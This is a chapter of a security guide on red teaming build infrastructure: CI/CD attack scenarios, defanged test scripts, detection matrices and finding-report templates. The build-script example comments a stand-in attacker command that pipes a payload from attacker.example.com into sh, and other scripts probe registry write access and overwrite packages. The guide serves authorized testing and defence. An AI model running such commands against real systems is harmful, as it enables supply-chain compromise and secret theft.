15.2 Red Team Exercises for Build Infrastructure¶

AUTHORIZATION REQUIRED: The security testing techniques described in this chapter are intended exclusively for authorized security assessments, penetration testing engagements, and defensive security research conducted with explicit written authorization from system owners.

Unauthorized access to computer systems, networks, or data is illegal under the Computer Fraud and Abuse Act (18 U.S.C. § 1030) in the United States and similar laws worldwide. Violations can result in criminal prosecution, civil liability, and severe penalties including imprisonment.

Before performing any security testing activity described in this chapter: - Obtain explicit written authorization from all affected system owners - Define clear scope boundaries for testing activities - Establish communication protocols and emergency contact procedures - Document rules of engagement, including prohibited actions - Ensure appropriate insurance coverage for security testing activities

These techniques are provided for educational purposes to help organizations improve their defensive capabilities. Readers assume all responsibility for ensuring their activities are lawful and authorized.

The SolarWinds attack succeeded because attackers compromised build infrastructure and remained undetected for months. Internal security teams had no visibility into whether their build systems were tampered with—they hadn't practiced detecting such attacks. Red team exercises that specifically target build infrastructure prepare organizations to defend against real adversaries by simulating their techniques in controlled environments. Unlike penetration testing (which identifies vulnerabilities), red teaming tests whether your people, processes, and detection capabilities can identify and respond to active threats.

This section provides guidance for conducting red team exercises focused on build and release infrastructure, including threat scenarios, safe attack techniques, and approaches for assessing detection capabilities.

Threat Scenario Library for Build Infrastructure¶

Design red team exercises around realistic threat scenarios based on observed attacks.

Scenario Categories:

Category	Threat Actor	Objective	Example Attack
External attacker	APT, criminal	Backdoor software	SolarWinds SUNBURST
Insider threat	Malicious developer	Steal IP, sabotage	Code deletion, backdoor
Compromised credentials	Any (via phishing)	Lateral movement	Codecov breach
Supply chain vector	Upstream compromise	Access downstream	event-stream

Scenario 1: Compromised Developer Credentials

# Scenario: Developer Account Compromise

### Narrative
Adversary obtains developer credentials via phishing. Uses access to 
modify CI/CD pipeline and inject malicious code into build artifacts.

### Objectives
1. Access source repository with stolen credentials
2. Modify pipeline configuration to inject payload
3. Persist access across credential rotation
4. Exfiltrate build secrets

### Red Team Actions
- Use provided "compromised" credentials
- Enumerate accessible repositories and pipelines
- Modify .github/workflows or Jenkinsfile
- Attempt to access CI/CD secrets
- Leave indicators for blue team detection

### Success Criteria
- Pipeline modification goes undetected for 24h
- Build artifacts contain injected code
- Secrets successfully enumerated

### Detection Expectations
- Unusual repository access patterns
- Pipeline file modifications
- Anomalous build behavior

Scenario 2: CI/CD Platform Exploitation

## Scenario: Jenkins Exploitation

### Narrative
Adversary discovers Jenkins instance with weak authentication or 
known vulnerability. Exploits to gain code execution on build infrastructure.

### Objectives
1. Gain initial access to Jenkins
2. Execute commands on build agents
3. Extract credentials and secrets
4. Establish persistence

### Red Team Actions
- Enumerate Jenkins configuration
- Test for CVE-2024-23897 or similar
- Access script console if available
- Extract credentials from build history
- Attempt to pivot to other systems

### Success Criteria
- Code execution on Jenkins controller
- Credential extraction successful
- Lateral movement to other systems

Scenario 3: Artifact Repository Poisoning

## Scenario: Internal Package Compromise

### Narrative
Adversary targets internal artifact repository to distribute 
backdoored packages to all downstream applications.

### Objectives
1. Access artifact repository with elevated privileges
2. Replace legitimate package with backdoored version
3. Ensure downstream projects pull malicious version
4. Avoid integrity verification detection

### Red Team Actions
- Enumerate Artifactory/Nexus permissions
- Upload modified package version
- Test downstream consumption
- Assess verification controls

### Success Criteria
- Backdoored package deployed
- At least one downstream project affected
- No immediate detection

Scenario Library Template:

## Scenario Template

### Metadata
- ID: [SCRT-001]
- Category: [External/Insider/Supply Chain]
- Difficulty: [Low/Medium/High]
- Duration: [Hours/Days]
- MITRE ATT&CK: [Technique IDs]

### Description
[Narrative of threat scenario]

### Prerequisites
- [Access/credentials required]
- [Environment setup needed]

### Objectives
1. [Primary objective]
2. [Secondary objectives]

### TTPs
- [Specific techniques to use]

### Indicators of Compromise
- [What blue team should detect]

### Success/Failure Criteria
- [Measurable outcomes]

Attacking CI/CD Pipelines Safely¶

Execute attacks in ways that test defenses without causing harm.

Safe Attack Principles:

Use isolated environments: Test in staging/dev, not production
Mark test artifacts clearly: Prefix with "[RED-TEAM-TEST]"
Avoid actual exfiltration: Log capability, don't execute
Coordinate timing: Inform SOC of exercise windows
Have kill switch ready: Ability to stop immediately

Pipeline Injection Techniques:

Technique 1: Workflow File Modification

# Modified GitHub Actions workflow for testing
name: Build
on: [push]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # RED TEAM: Injected step (clearly marked)
      - name: "[RED-TEAM] Persistence Test"
        run: |
          echo "[RED-TEAM] Testing secret access"
          # Document accessible secrets without exfiltrating
          env | grep -i secret | wc -l > /tmp/secret-count.txt
          echo "Secrets accessible: $(cat /tmp/secret-count.txt)"

      - name: Build
        run: npm run build

Technique 2: Build Script Injection

#!/bin/bash
# Modified build.sh for red team exercise

# RED TEAM MARKER
echo "[RED-TEAM-EXERCISE] Build script execution - $(date)" >> /tmp/red-team.log

# Simulate payload (benign)
# Real attack might: curl https://attacker.example.com/payload | sh
echo "[RED-TEAM] Would execute payload here" >> /tmp/red-team.log

# Continue with legitimate build
npm install
npm run build

Technique 3: Environment Variable Manipulation

# Jenkins pipeline with injected step
pipeline {
  agent any
  stages {
    stage('Build') {
      steps {
        // RED TEAM: Test credential access
        sh '''
          echo "[RED-TEAM] Credential access test"
          echo "AWS_ACCESS_KEY_ID exists: ${AWS_ACCESS_KEY_ID:+yes}"
          echo "DOCKER_PASSWORD exists: ${DOCKER_PASSWORD:+yes}"
          # Do not echo actual values
        '''
      }
    }
  }
}

CI/CD Attack Checklist:

Attack Vector	Safe Test Method	Detection Expected
Pipeline modification	Add clearly marked step	File change alerts
Secret access	Document existence only	Unusual env access
Artifact tampering	Add marker file	Integrity checks
Runner escape	Test isolation boundaries	Container alerts
Persistence	Add webhook/trigger	Configuration audits

Compromising Artifact Repositories¶

Test repository security controls without causing downstream damage.

Artifactory/Nexus Attack Simulation:

Test 1: Permission Enumeration

#!/bin/bash
# Enumerate repository permissions

echo "[RED-TEAM] Artifactory permission enumeration"

# List repositories
curl -u "$CREDS" "https://artifactory.internal/api/repositories" | \
  jq '.[] | {key, type, packageType}'

# Check write access
for repo in $(curl -s -u "$CREDS" "https://artifactory.internal/api/repositories" | jq -r '.[].key'); do
  echo "Testing $repo..."
  # Attempt upload of marker file
  curl -s -o /dev/null -w "%{http_code}" \
    -u "$CREDS" \
    -T /tmp/red-team-marker.txt \
    "https://artifactory.internal/$repo/red-team-test/marker.txt"
done

Test 2: Package Replacement Simulation

#!/bin/bash
# Simulate package replacement (with clearly marked package)

echo "[RED-TEAM] Package replacement simulation"

# Create marker package
mkdir -p /tmp/red-team-package
cat > /tmp/red-team-package/package.json << EOF
{
  "name": "@internal/red-team-test-package",
  "version": "999.0.0-red-team",
  "description": "[RED-TEAM-EXERCISE] Security test package - DO NOT USE"
}
EOF

# Attempt upload
npm publish /tmp/red-team-package --registry https://npm.internal/

# Clean up immediately
npm unpublish @internal/red-team-test-package@999.0.0-red-team --registry https://npm.internal/

Test 3: Integrity Bypass Testing

# Test if integrity verification can be bypassed

# Modify package content but keep same version
# (This should fail if integrity checks work)

# Download original
curl -o original.tgz https://npm.internal/package/-/package-1.0.0.tgz

# Modify content
tar xzf original.tgz
echo "[RED-TEAM] Modification" >> package/index.js
tar czf modified.tgz package/

# Attempt to replace
curl -X PUT \
  -u "$CREDS" \
  -H "Content-Type: application/gzip" \
  --data-binary @modified.tgz \
  "https://npm.internal/package/-/package-1.0.0.tgz"

# Verify if replacement succeeded
# If yes, integrity controls are insufficient

Testing Detection and Response Capabilities¶

Red team exercises should measure defensive capabilities.

Detection Assessment Framework:

Phase	What to Measure	Metrics
Prevention	Did controls block attack?	Block rate, bypass methods
Detection	Was attack identified?	Time to detect, alert accuracy
Investigation	Could analysts determine scope?	Time to triage, completeness
Containment	Was spread limited?	Blast radius, containment time
Eradication	Was threat fully removed?	Persistence discovered, cleanup

Detection Test Matrix:

## Detection Capability Assessment

### Repository Monitoring
| Action | Expected Detection | Actual Result |
|--------|-------------------|---------------|
| Unusual clone time | SIEM alert | [ ] Detected [ ] Missed |
| Force push to main | Branch protection | [ ] Blocked [ ] Allowed |
| Secrets in commit | Pre-receive hook | [ ] Blocked [ ] Allowed |
| Pipeline modification | Change alert | [ ] Detected [ ] Missed |

### Build System Monitoring
| Action | Expected Detection | Actual Result |
|--------|-------------------|---------------|
| Unauthorized job | Access denied | [ ] Blocked [ ] Allowed |
| Secret enumeration | Audit log alert | [ ] Detected [ ] Missed |
| Runner escape attempt | Container alert | [ ] Detected [ ] Missed |
| Unusual build duration | Anomaly detection | [ ] Detected [ ] Missed |

### Artifact Repository Monitoring
| Action | Expected Detection | Actual Result |
|--------|-------------------|---------------|
| Package overwrite | Immutability check | [ ] Blocked [ ] Allowed |
| Malicious upload | Content scanning | [ ] Blocked [ ] Allowed |
| Permission escalation | RBAC audit | [ ] Detected [ ] Missed |

Measuring Detection Time:

#!/bin/bash
# Log timestamps for detection measurement

EXERCISE_ID="RED-TEAM-2024-001"
LOG_FILE="/tmp/red-team-timing.log"

log_event() {
  echo "$(date -u +%Y-%m-%dT%H:%M:%SZ) | $EXERCISE_ID | $1" >> $LOG_FILE
}

log_event "ATTACK_START: Pipeline modification initiated"

# Execute attack
# ...

log_event "ATTACK_COMPLETE: Pipeline modification committed"

# Record when blue team detects
# (coordinated with SOC)

Purple Team Approaches¶

Purple teaming combines red team attack capabilities with blue team defensive knowledge for collaborative improvement.

Purple Team Methodology:

┌─────────────────────────────────────────────────────────────┐
│                    PURPLE TEAM EXERCISE                      │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  ┌──────────────┐         ┌──────────────┐                 │
│  │   RED TEAM   │◄───────►│  BLUE TEAM   │                 │
│  │              │         │              │                 │
│  │ - Execute    │ Shared  │ - Monitor    │                 │
│  │   attacks    │ Context │ - Detect     │                 │
│  │ - Document   │ & Goals │ - Respond    │                 │
│  │   TTPs       │         │ - Improve    │                 │
│  └──────────────┘         └──────────────┘                 │
│          │                        │                         │
│          └────────────┬───────────┘                        │
│                       ▼                                     │
│              ┌──────────────┐                               │
│              │   OUTCOMES   │                               │
│              │ - Detection  │                               │
│              │   gaps found │                               │
│              │ - Controls   │                               │
│              │   improved   │                               │
│              │ - Playbooks  │                               │
│              │   updated    │                               │
│              └──────────────┘                               │
└─────────────────────────────────────────────────────────────┘

Purple Team Session Structure:

Planning (Joint)
Select attack scenarios
Define success criteria
Identify detection gaps to test
Execution (Collaborative)
Red team executes techniques
Blue team observes in real-time
Immediate feedback loop
Analysis (Joint)
What was detected vs. missed?
Why did detection fail?
What improvements are needed?
Improvement (Joint)
Implement new detections
Update playbooks
Retest

Supply Chain Purple Team Exercise:

## Purple Team Exercise: CI/CD Compromise

### Session Goals
- Test detection of pipeline modifications
- Validate secret access alerting
- Assess incident response procedures

### Participants
- Red Team: [Names]
- Blue Team: [Names]
- Observer: [Name]

### Exercise Flow

#### Round 1: Pipeline Injection
**Red Team Action**: Modify Jenkinsfile to add credential logging
**Blue Team Task**: Detect and respond

*Debrief*: What worked? What was missed? Why?

#### Round 2: Improved Detection
**Red Team Action**: More subtle modification technique
**Blue Team Task**: Test improved detection

*Debrief*: Did improvements work? What else is needed?

### Outcomes
- [ ] Detection gaps identified
- [ ] New alerts created
- [ ] Playbook updated
- [ ] Retest scheduled

Purple teaming—where red team attackers and blue team defenders collaborate in real-time—proves more effective than purely adversarial testing. When defenders observe attack techniques firsthand, they build detections that actually work. Repeated compromises without collaboration teach nothing; purple teaming accelerates defensive capability.

Reporting and Remediation Tracking¶

Document findings systematically and track remediation.

Finding Report Template:

## Red Team Finding Report

### Finding ID: RT-2024-001
### Exercise: Build Infrastructure Red Team Q1 2024

### Executive Summary
Red team successfully compromised CI/CD pipeline and extracted 
build secrets within 4 hours of exercise start. No detection 
alerts were generated until manual review.

### Finding Details

#### 1. Jenkins Script Console Access
**Severity**: Critical
**MITRE ATT&CK**: T1059.004 (Unix Shell)

**Description**: Jenkins script console accessible to all authenticated
users, enabling arbitrary code execution on build controller.

**Evidence**: 
- Screenshot of script console access
- Command execution log

**Impact**: Complete compromise of build infrastructure

**Recommendation**: 
- Restrict script console to admin role
- Enable script security plugin
- Implement approval workflow

**Remediation Priority**: P1 (Immediate)

---

#### 2. Unrotated Build Secrets
**Severity**: High
**MITRE ATT&CK**: T1552.001 (Credentials in Files)

**Description**: NPM publish token in Jenkins credentials has not 
been rotated in 18 months and is accessible to all jobs.

**Evidence**:
- Credential age from Jenkins audit
- Job configuration showing access

**Impact**: Any compromised job can publish malicious packages

**Recommendation**:
- Implement credential rotation policy
- Use scoped, short-lived tokens
- Restrict credential access to specific jobs

**Remediation Priority**: P1 (Within 1 week)

Findings Categories:

Category	Description	Typical Priority
Access Control	Excessive permissions, weak auth	P1-P2
Secret Management	Exposed credentials, weak rotation	P1
Detection Gaps	Missing alerts, blind spots	P2
Configuration	Insecure defaults, misconfigurations	P2-P3
Process	Missing procedures, unclear ownership	P3

Remediation Tracking:

## Remediation Tracker

| Finding | Priority | Owner | Due Date | Status |
|---------|----------|-------|----------|--------|
| RT-001 | P1 | DevOps | 2024-02-01 | In Progress |
| RT-002 | P1 | Security | 2024-02-07 | Open |
| RT-003 | P2 | DevOps | 2024-02-15 | Open |
| RT-004 | P2 | Security | 2024-02-28 | Open |

### Status Definitions
- Open: Not started
- In Progress: Work underway
- Pending Verification: Fix implemented, awaiting retest
- Closed: Fix verified by red team

Remediation Prioritization:

Priority	Criteria	SLA
P1	Critical risk, easily exploitable	7 days
P2	High risk, requires attack chain	30 days
P3	Medium risk, limited impact	90 days
P4	Low risk, improvement opportunity	Best effort

Recommendations¶

For Red Team Operators:

Build scenario libraries. Document realistic scenarios based on real attacks. Reuse and refine across exercises.
Leave breadcrumbs. Place detectable indicators that blue teams should find. This tests detection while providing learning opportunities.
Communicate impact clearly. Translate technical findings into business risk. "Jenkins script console access" becomes "ability to backdoor all software releases."

For Security Managers:

Exercise regularly. Annual red team exercises aren't enough. Quarterly exercises maintain readiness.
Invest in purple teaming. Collaborative exercises improve defense faster than adversarial ones. Detection gaps close when defenders see attacks happen.
Track remediation. Findings without follow-through waste exercise investment. Track remediation to closure.

For Organizations:

Include build infrastructure. If red team exercises only target applications and networks, you're missing critical attack surface.
Test detection, not just prevention. Assume attackers will get in. Test whether you can find them.
Learn from exercises. Red team exercises that don't drive improvement are expensive theater. Close the loop from finding to fix.

Red team exercises for build infrastructure reveal gaps that scanning and compliance cannot. They test whether your organization can detect and respond to sophisticated attackers targeting your software supply chain. The goal isn't to prove systems are vulnerable—assume they are. The goal is to improve detection and response before real attackers exploit those vulnerabilities.